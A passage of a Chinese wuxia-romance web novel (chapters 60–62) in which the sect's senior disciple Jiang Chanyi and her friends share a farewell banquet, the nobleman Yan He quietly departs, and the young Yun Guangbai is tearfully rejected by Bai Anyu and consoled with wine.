姜蝉衣徐青天又是一怔,半晌,姜蝉衣才回神:“他不是去岁押解至玉京了?” “对了,那桩案子如何判的?” 燕鹤道:“我先前听千洲说起过,夙安解家全族该是今年秋日流放,解延本也该那时斩首,但方才千洲的人送来消息,他几日前死在刑部大牢。” 金酒等人没同燕鹤上山,留在外门,他们前脚上山,后脚玉千洲的人就找来了,他们先去的沐府,得知燕鹤来了落霞门又追了过来。 金酒立刻就将消息送了上来。 姜蝉衣听出了燕鹤的怀疑,皱眉:“他死在清辉门事发后,你是怀疑……” “是。” 燕鹤沉声道:“刑部审过解延的杀人动机,解延认罪宠妾灭妻,不说其他任何。” “如果与私矿有关,那就说得通了。” 这样的大罪解延绝不可能认,一旦认了别说夙安解家一个都保不住,便是玉京解家恐怕都要受到牵连。 姜蝉衣一点就通:“背后定还有人。” 燕鹤点头,想了想后,道:“这件事千洲已经呈报给玉京,之后会有人查证,只是落霞门先前卷进此事,恐有危险。” 他将这些告知,是不想将姜蝉衣牵扯进来:“如今此事已不是江湖事,沐盟主的意思是,落霞门不再插手。” 这段时日江湖中以晏青禾为首一直在清剿黑酆门余孽。 姜蝉衣听明白了,沉默半晌,道:“嗯,我知道了,我会转告二师弟。” 此事干系重大,既已上报,落霞门确实没必要继续牵扯进去。 徐青天听得心惊不已。 若解延掺和进此事,那么玉京解家呢?官场关系复杂,背后是否又牵扯更多高官? 不过这些都不是他们能管的了。 言罢此事,几人各自沉默,就在燕鹤将要告辞离开时,徐青天提议出去赏景。 燕鹤还未作何反应就听姜蝉衣道:“好啊。” 燕鹤咽回道别的话,点头:“好。” 上报给玉京只是同姜蝉衣的解释,实则这事是由他前去暗中调查,不过刚上山便离开确有不妥,过两日再走也无不可。 第60章 第 60 章 那我明日送你下山 姜蝉衣也是头回来这里, 对周遭并不熟悉,问过一位弟子后,得知不远处有溪流花海, 便带着燕鹤徐青天过去了。 徐青天听说有这般美景,还特意回房取了纸墨, 说要作画。 仲夏时节,山间还很凉爽,尤其是溪流旁边, 一靠近凉意便扑面而来。 小溪过去, 有一片花圃, 并不是名花奇草,只是山间最寻常的野花, 沈琳琅突有一日心血来潮带着弟子种的,此时花开正艳。 “果真是难得一见的美景。” 徐青天恨不能立时扑过去,只可惜被小溪阻拦, 溪流足有九尺宽,不是他能跃过去的。 燕鹤正想伸手带他过去,便见书生放下纸墨,脱去鞋袜,且兴致勃勃, 显然是起了玩心,他遂没再开口。 “你们不用管我。” 徐青天脱到一半想起什么, 躬着身子回头朝二人道。 这里没有危险, 确实不必时时盯着,姜蝉衣被花田吸引,闻言道:“那你小心些。” “放心,走不丢的。” 徐青天等着二人去了花田, 才继续脱鞋袜,脚初放进溪水中,冰的他打了个冷颤。 但适应过后,便自有乐趣。 徐青天就近寻了块最高的石头坐下,拿起画纸作画。 抬眸时,正见姜蝉衣立于花田之中侧首同燕鹤说着什么,眉眼弯弯,二人立在那里,与美景相辅相成。 偶有蝴蝶落在花朵上,姜蝉衣轻轻去碰,蝴蝶受惊便又飞走,颇有几分趣意。 置身此景,多日前的肃杀仿佛已过经年,被隔绝在外,有种岁月静好的安然之感。 姜蝉衣无意中侧首看见长身如玉的公子,心头突然冒出一个念头。 若是,这一刻能永久停留,好像也很不错。 燕鹤察觉到她的视线,转头看过来,姜蝉衣不避不闪,眉眼带笑:“先前的借口破绽百出,你怎不曾问过?” 燕鹤知她说的是关于她是落霞门大师姐一事,那时他们对外给出的借口他自然没信,只是她不多说自有她的道理,他理当尊重。 他的身上也不藏着秘密。 “知己好友,不问过往。” 姜蝉衣对这个回答也算满意,但还是正色解释道:“此事确实另有隐情,先前也并非敷衍,只是如今还不便告知。” 燕鹤神情温和:“嗯,我知道,无妨。” 姜蝉衣想说等他日再见必如实相告,可随后一想,今岁一别,他们或许也不会再见了,遂不再多言。 又过了会儿,燕鹤突然道:“我明日就要下山了。” 虽并不差这两日,但有些东西越纠缠就滋生的越快,再留下去,必然不舍。 姜蝉衣闻言先是一愣,而后道:“不多留两日吗?” 她以为他愿意来此,会小住几日。 燕鹤道:“收到家中传信,需立刻折回。” 原是这样。 家中有事,倒也不好挽留,姜蝉衣便问:“你还会再出来吗?” 大师姐的眼眸明媚灿烂,隐隐带着某种期待,燕鹤轻轻别开,道:“还未可知。” 此次一别,应再无重逢之期。 姜蝉衣嗯了声,压下心中古怪的低沉,道:“那我明日送你下山。” 燕鹤刚要相拒,又听她道:“你莫要推辞,这是我家,客人要走,理该送出门。” 燕鹤终是点头:“好。” “明日何时走?” 燕鹤沉吟片刻:“黄昏前。” 也不差多留半日。 姜蝉衣眼眸一亮:“那我明早再带你到山中逛逛。” 对着那双眼,燕鹤无法拒绝:“好。” 二人又在附近走了走,便有弟子传话,可用午饭了。 徐青天远远见二人走来,也收了笔。 画纸上,花开烂漫,一对璧人立在其中,姑娘似笑着在说什么,郎君微微颔首倾听,惟妙惟俏。 笔墨未干,徐青天也没有收,托着腮笑眯眯望着缓缓走近的二人。 可惜他丹青不精,画不出其中美妙。 不过问题来了,画只有一副,该赠予谁? 罢了,不能厚此薄彼,不若等到成婚再送,更合适宜。 若是未成婚……那他就把他和云广白加上去,爱情变友情,也不唐突。 在姜蝉衣二人走到跟前时,徐青天小心翼翼收拾画,穿好鞋袜。 “徐公子画了什么?” 姜蝉衣好奇问道。 徐青天面不改色:“风景。” “他日再给你们看。” 见他这般说,姜蝉衣也没执意要看画,帮他收拾起笔墨,一道往回走。 白安渝其实并没打算上山采药,不过是甩掉云广白的托辞,偏那人脸皮厚,亦步亦趋跟着,她干脆真去了后山。 采着药,身边的人比蜜蜂还吵闹,但在静谧的山中,好像又并不让人厌烦。 他说上十句她答半句,他也不会在意,因此她也没有感到压力,心神如平日般舒朗。 既然他造成不了困扰,便由着他。 采完药,少年飞快拿起背篓:“我来背。”同时递给她一束不知何时采的花。 是野花绑成的花束,黄色,蓝色,红色都有,而用来绑花的是少年的发带。 绿色发带一长一短坠在少年肩背上。 短的那截,显然是被利刃割去了。 “白姑娘不喜欢花吗?” 见她不接,少年试探问道。 白安渝终究没说什么,接过递来的花:“多谢。” “不必再送,我不喜欢。” 云广白也不知听没听进去,见她接了花笑容更加灿烂,欢快的跟在她身边,又开始喋喋不休:“这里好美啊,是我见过最美的地方,我能多住几日吗?” “我虽然没有银子,但会做工,我会做很多事,做饭,晒药,扫地,最会帮白姑娘采药。” “白姑娘喜欢吃什么,我听沈师弟说白姑娘喜食素,我认得一些野菜,虽比不得山珍海味,但也别有一番风味。” 白安渝忽略许多,捡相对重要的回答:“你年纪比沈琳琅小。” 云广白理所当然:“我随白姑娘和姜姑娘叫的啊,不必论年纪。” “再说,姜姑娘比你们年纪都小,不也是大师姐。” 白安渝无法理解少年的思维,但也明智的不跟他辨,不论她说什么,他总有一百个理由等着她,便转移话题:“你会认野菜?” 云广白笑嘻嘻点头:“嗯嗯。” “我不仅会认,也会做,我做的野菜粥格外清香。” 这是打仗时积累的经验。 白安渝闻弦知雅意,不再接话。 但即便她不接,云广白还是道:“我明日一早去采野草,做给白姑娘尝尝。” “不必,云公子来者是客,随意住着便是。”白安渝加快脚步。 “要用午饭了,快些走吧。” 再聊下去,指不定又要多出什么粥了。 “好呀,用饭在哪里用呢?是所有弟子一起吗?做饭的是哪位师弟啊?” “白姑娘这些药材都要怎么处理啊,我看那边有晒的,还有碾碎的。” “这里面有能治伤口的药吗?” …… 白安渝到了饭堂外,晏青禾也正带着姜蝉衣燕鹤过来,沈琳琅也在侧,白安渝三步并作两步走过去:“沈师弟,劳烦待客。” 沈琳琅看了眼紧紧跟着白安渝的云广白,自动译出三师姐的意思。 拦住他,别吵我! 沈琳琅忙伸手拉住云广白,笑着道:“云公子,我带你去饭堂。” 云广白虽然很想追着白安渝去,但也不好拂沈琳琅的意,点头:“好啊,多谢。” 跟上去,恰听姜蝉衣问白安渝:“三师妹这是怎么了?” 白安渝:“采药跟着一只蜜蜂。” 闹的人耳朵都要聋了。 云广白一听,忙要上前:“蜜蜂,哪里来的蜜蜂,沈师弟你先放开我,我先把蜜蜂抓了,免得蛰着白姑娘。” 沈琳琅紧紧拽住他手臂,咬牙:“……放心,有大师姐在,区区一只蜜蜂伤不了三师姐。” 姜蝉衣忍俊不禁。 倒是难得见人能将三师妹闹成这样,她从来没见三师妹走的这样快过。 徐青天恨不能离云广白三丈远。 丢人现眼的东西。 谁是那只蜜蜂他心里没点数? 60-70 第61章 第 61 章 我们就此别过,后会无期 知晓燕鹤要离开, 云徐二人都惊诧了好一阵,视线若有若无的落在姜蝉衣身上。 原以为二人会大有进展,没成想上山不过一日燕鹤就要归家。 且家中有事, 也不好挽留。 商议以后,决定明日设宴为燕鹤践行。 这一次与上一次分别有所不同, 上回是同行一程,惺惺相惜,却也都知道不过萍水相逢, 而这一次则已是同生共死的情谊。 沈琳琅非常大方的拿出了珍藏多年的好酒, 将午宴设在姜蝉衣的院中。 晏青禾白安渝蒋铄关霄也都抽空来了趟, 喝了几杯酒便先后离开,将时间留给临别的好友。 出了院子, 白安渝回头望了眼,正见云广白提着酒壶给燕鹤添酒。 她轻轻勾唇,同晏青禾并肩前行。 “大师姐很幸运。” 初次下山, 结识的都是很好的友人。 晏青禾心不在焉的嗯了声。 他与师姐朝夕相处多年,便说是这个世上最了解师姐的人也不为过。 正因如此,他才看的更清楚。 师姐看燕鹤的眼神不一样,那是他从来没有见过的神采。 “三师妹先前便见过他们?” 白安渝看他一眼,而后点头:“嗯。” “是在一个花神节上, 同行的还有玱州通判之女宣则灵,玉家少东家玉千洲, 我见师姐时, 师姐手中有两个花环。” 晏青禾脚步微缓,白安渝便继续道:“一个用鲜花做成,另一个是永生花,据我所知, 花神节上跳舞前十方可得。” 大师姐并不擅舞蹈。 永生花从何而来,已显而易见。 “后来我收到沐姑姑的信,让我去夙安验尸,我去了才知,原来师姐他们是因为宣姑娘和玉公子相识,一路同行数日,结下了深厚的情谊。” 说到这里,白安渝不由想起她去的路上遇见被追杀的云广白。 少年热烈挚诚,像一团火不由分说的朝她席卷,不知疲倦,也不懂知难而退。 三人在落霞峰相伴数年,晏青禾岂能听不出白安渝的言外之意,他眸色沉了沉,而后唇边泛起一抹苦笑。 原来早在那时,他们就有了交集。 “师姐总归是要回去的。” 白安渝收回思绪,意有所指般道。 晏青禾低低的嗯了声:“我知道。” 不管有没有燕鹤,他与师姐都只会是师姐弟,正因为了解,他心中也明白,师姐对他只有亲情。 所以,他也一直将自己放在师弟的位置上,从不敢肖想其他。 直到燕鹤出现,他心中才不可控的翻起一阵酸楚。 “师兄心中有数就好。” 白安渝并不担心晏青禾会钻牛角尖。 从她第一次见他,她就知道他是个心胸宽阔性情豁达的人。 晏青禾咽下心中苦涩,话锋一转:“我心中有数,师妹呢?” “云公子对师妹的心意有目共睹,师妹如何想?” 白安渝面色淡然:“少年心性,过段时间就淡了,不必放在心上。” 晏青禾挑眉:“是吗?” “我到不觉得云公子是一时兴起。” 白安渝依旧面不改色:“多容他些时日,若仍固执,师兄送客就是。” 说罢就加快脚步,显然是不欲在此事上多言。 晏青禾盯着她的背影,无声叹了叹。 昨日能容云公子围着师妹打转纠缠,今晨又放他去后山采野菜,进厨房,睁一只眼闭一只眼让他进师妹院中送粥,都不过是因为,他们乐见其成。 师妹身负血仇,可人总要往前看,他们也不是想要师妹放弃追查,只是这些年师妹心中太苦,无人能开解,而他们也看得出来,云公子虽然闹腾,但师妹其实并不讨厌他,所以都默契的由他靠近师妹。 否则以沈琳琅的性子,早就把人绑起来揍一顿并警告威胁了。 而眼下看来,他们也猜的不错。 师妹对云公子确实与先前那些求亲者不一样,哪怕只是多了一丝心软,就已是万分难得。 身后隐约传来劝酒的声音,晏青禾轻轻笑了笑,快步离开。 “燕公子,你这一走也不知还有没有再见之日,不论如何,今日我们都得不醉不归!”云广白声音清朗,不容置疑。 徐青天微微皱眉道:“燕公子等会儿要下山,喝醉了如何走?” 云广白:“他不是有个武功很厉害的暗卫吗?让他背着下山,再往马车里一放,正好,睡上一夜好觉。” 徐青天:“……” 他看了眼燕鹤,又看一眼仰头喝酒的姜蝉衣,这个棒槌,把人灌醉了人家还怎么好生道别。 “云公子说的对。” 燕鹤这时举起酒杯,温声道:“人生难得一知己,今日我们不醉不归。” “燕公子爽快!” 云广白一拍桌子,跟燕鹤碰了碰杯:“不过,可不是一个知己,三个呢!” 徐青天忍不住小声嘟囔了句:“哪有三个,明明是两个。” 另一个可不是知己,就算是,那也是红颜知己。 他说的极小声,云广白没听清,问他:“你在念叨什么?” “没啊,我没说什么。” 燕鹤紧了紧手中的酒杯,不动声色看向姜蝉衣,显然,她也没有听见徐青天的话。 “来,姜姑娘,我们一起喝一杯。”云广白笑着道:“山水有相逢,愿我们还有再见的一日。” 姜蝉衣面前已经空了两个酒壶,面颊上染了几丝红晕,闻言举杯看向燕鹤,笑盈盈道:“嗯,有缘还会相见。” 她也不知是怎么了,从昨日知道燕鹤今日离开,她就打不起什么精神来。 心头总觉得沉甸甸的。 姑娘笑起来眼睛弯弯的,像一弯新月,柔软而强硬的照进心间,强压下的不舍又多出了几分,燕鹤面上却不显分毫,一如既往的温和道:“嗯,有缘再见。” 四只酒杯碰在一起,也不知谁的力道大了些,酒水洒出来似乎交融在一起。 仿佛在预示着什么。 只这时无人去在意。 “燕公子,你家离这里远吗,要不忙完了再来呗?”云广白笑嘻嘻道:“我们在这里等你如何?” 徐青天闻言也忙道:“是啊,正好山中景美,我还想多留些时日。” 姜蝉衣没说话,但也抬眼目不转睛的看着燕鹤。 燕鹤状似无意般避开姜蝉衣的视线,只看着云广白,温声道:“此次事情繁琐,应是来不了了。” 大师姐连自己的心意都还没看明白,自然也不会懂得掩饰什么,闻言,眼底的光亮霎时就暗了下去。 徐青天看的心焦。 但他这回什么也没说。 他好像隐约看出什么了。 若说姜姑娘还没开窍,那么燕公子就是在刻意回避了。 虽然他不明白两情相悦有何好回避的,但这毕竟是他们之间的事,他也不好过多干涉。 “今朝有酒今朝醉。”徐青天起身给几人添上酒,道:“预祝燕公子一路顺遂。” 又饮过几巡,云广白突然道:“既然今年无缘再见,不如明年相约?” 今岁是因玉公子和宣姑娘的婚事他们才得以重逢,这样的巧合不可能年年都有,若不提前相约,怕真的是此生再难相见。 人生难得遇见如此志同道合的朋友,难免会想要更长久些。 然三人闻言皆怔愣住。 徐青天垂下眼眸。 明年他要进京赶考,若一切顺利高中状元,他之后便会留在玉京。 姜蝉衣目光闪烁。 明年生辰一过她就要回家了,相国府邸,她必不可能再像如今这般肆意自在。 燕鹤握紧酒杯。 他去岁及冠本就应该听政,明年就要正式开始接手朝政,不可能再微服游历。 空气中陷入一阵古怪的安静,云广白来回看看几人,皱眉:“怎么都不说话?” 徐青天看看燕鹤姜蝉衣,犹犹豫豫的开口:“我……我明年这时另有要事。” 姜蝉衣低头饮酒,掩去眼中的异样:“我也是。” 燕鹤:“我亦如此。” 云广白:“……” 合着就他一个闲人? 一阵沉寂后,云广白不死心:“又没说定要这时,可以早些,也可晚些。” 姜蝉衣若有所思:“我明年三月前可以。” 她生辰在三月初,家中那时会派人来接,她需得在那时间回来。 徐青天沉默片刻。 明年二月底,他要参加春闱:“我只有除夕到二月上旬,且要约在江南。” 这个时间已是极限。 燕鹤本没有应约的意思,见他们这般认真思量,拒绝的话竟也说不出口,良久后,道:“那就依着徐公子的时间。” 顶多一月光景,就当是最后的告别。 云广白嘶了声,不耐的看着徐青天:“就不能再往后挪挪?” 按这个时间,他过完除夕就得动身,父亲可能会要打断他的腿。 徐青天坚定摇头:“不能。” 那个时间都是紧凑出来的,就算外祖父能替他周旋,也最晚二月初十就要连夜赶路前往玉京。 “云公子可是不方便?” 姜蝉衣托着腮,问道。 云广白咬咬牙:“方便!” 就再挨打也是偷跑出来回去之后再挨,届时再请妹妹求求情,腿应是断不了的。 “那就说好了。” 姜蝉衣笑着,眼睛亮晶晶的:“我们明年……具体何时在何处相见?” 徐青天立刻道:“不如就锦城,醉星楼?” 三人不解的看向他,徐青天面不改色朝燕鹤眨眨眼:“我想再吃一次醉星楼的菜。” 几人对此倒也没有异议。 “至于时间……” 徐青天问几人:“离锦城最远的是谁?” 姜蝉衣离锦城最近,快马加鞭也就几日,玉京至少都要十日,然燕鹤正要开口,就听云广白道:“我最快一月十五前到。” 边关到锦城,路上还得不停换马,才能十五日赶到锦城。 “那就一月十五?”徐青天:“正好一起过个小年。” 姜蝉衣点头:“行。” 燕鹤也无异议。 一场约定就这么定下了,离别的气息好像都随之淡化不少。 “那还要喝吗?” 云广白:“喝啊,说好不醉不归的,今儿谁都不能从这里站着出去!” 云少侠豪情万丈,今儿目的灌醉每一个人,桌子上的酒很快就见了底。 姜蝉衣遂起身抱出几坛酒:“这都是沈师弟昨夜给我搬来的,诸位尽管敞开喝,酒管够。” 燕鹤见她面颊红霞愈浓,正想说什么就见云广白已经开了酒往每人面前放一坛,并放下豪言:“我绝对不是第一个倒下的。” 若是平时徐青天姜蝉衣或许不会接他的茬,但现在二人都已开始犯晕,立刻就被激起了好胜心。 “别废话,手底下见真章!” 徐青天一拍桌子站起身:“我们玩行酒令。” 姜蝉衣抱着酒坛子,踩在凳子上:“来啊,除了师弟,还没人能喝过我的!” 燕鹤先是看了眼对面的姜蝉衣,而后抬手扶了把旁边晃晃悠悠的徐青天:“徐公子小心。” 徐青天朝他摆摆手,有些不满:“我们如今也算出生入死的兄弟了,再这么喊是不是有些生疏?” “对,说的有理。” 姜蝉衣将酒坛子重重放在桌上:“你们以后不必一口一个姜姑娘叫我,叫我名字就成。” 燕鹤微微皱眉,他很清楚叫姑娘的名字于理不合,可却不由自主的在心底默念。 姜蝉衣,蝉衣…… “我字敏砚。”徐青天:“敏锐的敏,墨砚的砚,你们可如此唤我。” 他发誓,字绝对是真的。 云广白接着道:“我还没及冠,没有字,你们叫我名字罢。” 燕鹤见几人都已经醉的差不多了,几经犹豫后在他们的注视下,终是道:“我字君梧。” 他没说谎,只将那两个字的声音放的极低,随后不等他们追问就道:“你们也可直接唤我名字。” 虽然没听清,但听他这话几人都没再追问下去。 又过半个时辰,姜蝉衣拿出来的酒也已经见了底,徐青天早已趴在桌子上不省人事,云广白抱着一个空坛子嘴里念着继续喝,眼睛却已经闭上了。 姜蝉衣戳了戳他,吐字不清:“起来,喝!” 燕鹤也醉了。 但他喝的不如云广白姜蝉衣多,勉强还有几分清醒,知道不能再让姜蝉衣继续喝,只才起身,就听哐当一声,大师姐手中坛子落地,人往云广白身上栽去。 他面色一变,极速掠过去将人拦在臂弯:“姜姑娘。” 姜蝉衣已是醉的分不清东南西北,软软的任由自己倒在那结实的臂弯,还忍不住纠正他:“唤我,蝉衣……” 燕鹤盯着怀中那张清丽的容颜,只觉心跳前所未有的剧烈,他知道自己醉了,努力维持着最后的清醒,将人抱起来送她回房。 脚步略有些踉跄,但怀里的人却始终被护的很好。 总算走到床榻前,燕鹤正要将她放上去,却听耳边传来一道极轻的声音:“君梧。” 燕鹤骤然清醒几分,眼神不明的看向姜蝉衣,却见她闭着双眼,只是呓语。 她果然听见了。 大师姐内力高深,本应听得见。 燕鹤缓缓将姜蝉衣放下,拉过被子给她盖好,按理,他本该立刻抽身离开,可不知是不是醉酒所致,当注视着那张沉睡的脸庞时,就怎么也舍不得挪开。 他从很早便知晓,他的婚事不由己身,及冠之时父皇就已经给他选了几家,只待此次回去定下。 他对此没有异议。 可今时今日,却有一些难过。 但理智告诉他,不该放纵,一切应到此为止。 燕鹤缓缓抬手替她拂去额角的发丝,眼神语气都比寻常更温柔。 “蝉衣,愿你此后得觅良人,一生顺遂。” 或许他不该赴明年之约了。 如此,对谁都好。 “蝉衣,我们就此别过,后会无期。” 第62章 第 62 章 明年醉星楼,不见不散…… 山间林野在酷暑之时也并不燥热, 早晚还需加衣,很是凉爽。 姜蝉衣与几个师妹在溪边戏水,她坐在徐青天曾经坐过的那块大石上, 躲避师妹浇来的水花时,不经意间看向那片花田。 各种各样的野花依旧灿烂, 蝴蝶自由自在的飞舞,她目光凝滞在某处,思绪不觉被拉远。 她记不清那日醉酒后发生了什么, 也不知道燕鹤是何时离开的, 醒来已是次日清晨。 二师弟给她送来清粥, 说燕鹤昨日也醉了,他的暗卫将人接走下了山。 她后来也后悔过, 若那日没有喝醉,还能同他好生道个别。 “那可是三师姐?” “虽看不见脸,但云公子在, 必然就是三师姐。” 姜蝉衣闻言回神,顺着师妹们的视线看去,果真见不远处三师妹和云广白一前一后的穿过竹林。 这些日子云广白日日黏在白安渝身边,除了就寝如厕外,白安渝在哪, 云广白就必然在。 门中弟子对此早已经见怪不怪,且还在私下设了赌局, 赌云广白能否追求到三师姐。 连徐青天都下了注。 徐青天格外喜欢这里, 他自荐整理藏书楼,以此抵伙食住宿,其他时间他都会出现在不同的地方,或温书, 或作画写诗词,这些时日他几乎已经将这座山逛遍了。 如今或许比姜蝉衣还熟悉这里。 而姜蝉衣除了给师弟师妹们上武学课外,大多时候都在院中练剑,只要晏青禾有空,便会过来陪她过招。姜蝉衣也常和徐青天云广白一起吃饭喝酒聊天。 日子平静而快乐。 一晃至今已是三月。 “大师姐,你觉得能成吗?”其中一个师妹好奇道。 其他人也都忙看向姜蝉衣。 云广白是大师姐的朋友,三师姐又和大师姐关系极为亲近,大师姐知道的应该比他们更多。 姜蝉衣看着竹林的方向,半晌后才道:“或许很快就知道了。” 她和二师弟一样,也希望三师妹能够接纳云广白,可以她对三师妹的了解,却又觉得不大可能。 或许三师妹并不讨厌云广白,更甚者有些好感,可如今三师妹心中压着血仇,不会考虑儿女情长。 人对不对她不知道,但时机一定不对。 “太阳快落山了,水凉,先回去吧。”打断师妹们的讨论,姜蝉衣道:“明日一早考校,不许迟到。” 姜蝉衣每日早晨会在练武场授课,指点门中弟子武功。 她性子虽温和,但对武学却极其严苛,一听明日考校,师妹们对视一眼后迅速穿好鞋袜着急忙慌的同她道别回了屋舍。 趁着这点时间再回去练练,明日也不至于被罚的太狠。 师妹们离开,姜蝉衣却没有动作,她足尖点着溪水,注意着竹林的入口。 竹林深处 如往常一样,白安渝缓步走着,云广白跟在她身侧叽叽喳喳说个不停: “白姑娘,今天不去采药吗?” “白姑娘,我们这是去哪里呀?” 竹林深处这个时候少有人来,白安渝确定周围没有弟子才缓缓停下脚步,抬眸看向云广白。 这些日子以来,白安渝见拒绝无用,对云广白的态度便是听之任之,她想着等少年没了耐心自己便会走了,可三个月过去,他不仅没走,还与门中弟子全都混熟了。 俨然是不达目的不罢休的架势。 到如今,他已经影响了她的生活。 她便没办法再留他。 云广白对上白安渝淡漠的视线,仿佛突然意识到了什么,慌忙错开眼神,下意识选择逃避:“白姑娘,我想起药还没收,万一待会儿下雨,我先回去收药了。” 然刚迈出一步便被叫住:“六师弟会观天象,今日无雨。” 云广白正要找其他借口,就又听白安渝声音冷淡道:“云公子,你应该离开了。” 云广白身影蓦地僵住,他微微低着头,眼底闪过一丝痛色,但回头时又是满脸笑容,笑嘻嘻道:“沈师弟答应我,我每日在食堂帮忙,可以住在这里……” “云公子。” 白安渝打断他,似不耐与他周旋,直接了当道:“我从一开始便说过,我对你无意,还请云公子不要再纠缠。” 云广白脸上的笑容终是挂不住了。 这段时日,白安渝不止一次的拒绝他跟着,但他能感受得到,这一次不一样。 这一次,她是认真的。 她好像是真的要赶他走了。 “白姑娘……” 云广白忍不住上前一步,少年的个子好像又往上窜了些,如今已高白安渝一个头,他低头看着她,小心翼翼问她:“白姑娘,你真的,不曾有半点喜欢我吗?” 少年的眼底仿佛有着化不开的难过和痛苦,但又带着那么一点点的希冀。 很惹人心疼。 也叫人不忍心打破那一点光亮。 白安渝的指尖轻轻扣了扣,面上的淡漠却不减分毫,她盯着少年,吐字清晰:“我不喜欢你,以前不喜欢,以后也不会。” 少年眸中那点光亮彻底被击碎了。 他盯着白安渝,似乎想从她脸上找到她说谎的痕迹,可他看到的只有冷漠。 如她所说,没有半分情意。 “我知道,我知道你现在不喜欢我,没关系,只要你让我留在……” “你已经对我的生活造成了困扰。”白安渝再次打断他,话语无情而残忍:“你可以留在落霞门,但从今往后,我不想再看到你。” 云广白愣愣地看着她,整个人空白了一瞬,眼睛逐渐蓄起了雾气和红晕。 许久后,他才忍着心痛,嗓音沙哑道:“你……说的是真的,你讨厌我?” 白安渝毫不犹豫:“是。” “我喜欢安静,喜欢一个人采药,喜欢独处,而你,很吵。” “可明明你这些日子没有赶我……” “那是因为你是大师姐的朋友。” 白安渝语气平淡道:“大师姐是我很重要的人,你是大师姐的朋友,所以我对你多几分耐心,希望你能知难而退,也能识趣,但现在,我的耐心耗尽了。” 少年眼里的雾气终于凝聚成泪水落了下来,一串一串不停的往外涌。 原来,她这些日子的默许,都是因为他是姜蝉衣的朋友。 可他不信,这段时日他们明明相处的很好,她怎么会讨厌他。 云广白握紧拳,固执的盯着白安渝,问:“当真没有一点点喜欢?” 白安渝淡淡地别开视线。 “没有。” 那双清冷的眸子一如初见时的冰冷,云广白眼也不眨看她好半晌,才终于死心。 他闭了闭眼,松开拳,后退一步朝白安渝缓缓拱手,虽极力压制,但嗓音还是带着哽咽:“打扰姑娘多日,抱歉。” 少年一揖后,果断的折身离开。 转身一瞬,又是一串泪水落下,许是模糊了视线,他抬手一抹,越走越快,最后是跑出了竹林。 白安渝听到了少年那声哭出来的抽气声,心口像是被针狠狠一扎。 她后悔了,应该在一开始便强硬的将他赶下山去,他或许就不至于这么难过。 她突然有些佩服燕鹤。 燕鹤在师姐还未察觉到自己的心意时走的干脆利落,如此,难过的只他一人。 而她,不如他。 她明知云广白年纪太小与她不合适,她也无心情爱,从一开始便不该留他。 热烈诚挚的少年总是不忍心伤害,可到如今,反倒更伤人。 姜蝉衣远远看到云广白从竹林中跑出来,无声一叹后,迅速穿好鞋袜追了上去。 十六岁正是少年心性,也不怕丢人,边走边哭,哭声在山间荡漾,不多会儿就引来弟子探头张望。 姜蝉衣无声示意他们避开,默默的跟在云广白后头,倒也不是怕他想不开,只是觉得这种时候,以云广白的性子,应是需要人陪伴的。 果然,小半个时辰后,少年大约是哭累了,就地坐在一块石头上,肩膀抽动着,哑着嗓子:“她说她不喜欢我,一点也没有。” 姜蝉衣默默的坐过去。 “她还说她讨厌我,这辈子都不想再看到我,还说之前不赶我走都是因为我是你的朋友。” 姜蝉衣偷偷看他一眼。 师妹拒的这样狠?怪不得哭成这样。 “这是我第一次喜欢姑娘,我也不知道该怎么做,我是不是错了,不该那样缠着她,或许她就不那么讨厌我了。” 姜蝉衣好心劝道:“其实无关对错。” 谁知云广白听了这话,更难过了,一嗓子就嚎出来:“只是因为她不喜欢我。” 姜蝉衣:“……” 她无声递过去一方帕子。 等云广白再次哭累了,她问道:“要喝酒吗?” 云广白双眼红肿的看着她。 “你不安慰我,还喝什么酒?” 姜蝉衣:“……一醉解千愁。” 她怕又说错什么,再惹他嚎一回。 “说的对,一醉解千愁。” 徐青天抱着两坛酒,两个碗过来坐在云广白身侧:“我听一位师弟说云公子哭着从竹林回来,就知道肯定是有人被白姑娘拒绝了,立刻便去蝉衣姑娘院里搬了酒来,够意思吧?” 云广白死死盯着他:“你什么意思,你是觉得我一定会被拒绝是不是?” 徐青天理所当然:“是啊。” “难道白姑娘不是一直都在拒绝你吗?” 姜蝉衣想阻止,已经来不及了,下意识伸手捂住耳朵,果然,下一刻,少年一嗓子惊走林中鸟。 徐青天沉默了一瞬,掏了掏耳朵,身子往后仰,从云广白背后小声同姜蝉衣道:“果然是年纪小,不怕丢脸。” 姜蝉衣也微微后仰:“嗯。” “反正也没外人。” 徐青天:“确实,但保证不出一个时辰,门中几百个弟子都会知道云公子被拒绝后嚎啕大哭。” 这么丢人的事他就算回到十六岁,也干不出来。 “我不让他们往外说,丢也丢在自己人这。”姜蝉衣又问:“你怎么只抱两坛酒,拿两个碗。” 徐青天挑眉:“他这样子还用的上碗么,碗是给我们准备的。” 姜蝉衣点头:“有道理。” “先把他灌醉,再背回去,不然这样哭回去太丢人了。” “是这个道理。” 徐青天。 哭声不知何时停止,少年咬牙切齿:“我听得见。” 姜蝉衣徐青天对视一眼,默默坐直身子,徐青天打开酒坛,递给云广白:“喝醉了,就不难过了,相信我。” 云广白:“……嫌我丢人?” 徐青天:“你喝不喝,不喝我让蝉衣姑娘把你打晕背回去也是一样的。” 姜蝉衣闻言放下酒碗,抬起手。 云广白迅速接过酒坛子猛灌了口。 姜蝉衣徐青天一人一边拿着酒碗碰了碰他的酒坛子。 而后很长一段时间都没人再说话,只安静陪着云广白无声的喝酒,直到云广白那一坛子酒见了底,才听他低声道:“这是什么酒,之前没喝过。” 姜蝉衣道:“沈师弟昨天刚送来的,梅花酿。” “我能带些走吗?” 姜蝉衣徐青天闻言一愣,对视一眼,半晌后道:“能。” 余晖洒在山顶,像是渡了一层金光。 云广白不知何时栽在徐青天身上睡了过去,脸上还挂着一些风干的泪痕。 “你说,再过几年想起今日,他会后悔吗?” 姜蝉衣认真想了想:“难说。” “他活力旺盛,性子开朗,说不定几年后已经忘了。” 徐青天若有所思:“如此精彩的场景怎能忘,我应该把这个画面画下来。” 姜蝉衣:“……” 那大概会被追杀。 又过了会儿,徐青天道:“你说得对,只要不再见面,过几年,或许就忘了。” 姜蝉衣明白他的意思,轻轻点头:“他们不会再见了。” 人间这么大,只要有意避开,便不可能再见面了。 “夜风大了,先将他背回去吧。”姜蝉衣起身道。 徐青天抬头看她:“腿麻了。” 少年睡相不好,早已从肩膀上载到了腿上,姜蝉衣默默站了片刻,上前:“我来吧。” 因为有她的示意,周边弟子已经散去,也幸亏姜蝉衣内力深厚,否则还真扛不动。 徐青天缓了一会儿,等腿缓过来收拾酒坛子和碗追上去:“我明日跟他一起下山。” 也不全是不放心,他在这里已经住的够久了,也该是时候离开,准备秋闱了。 姜蝉衣嗯了声。 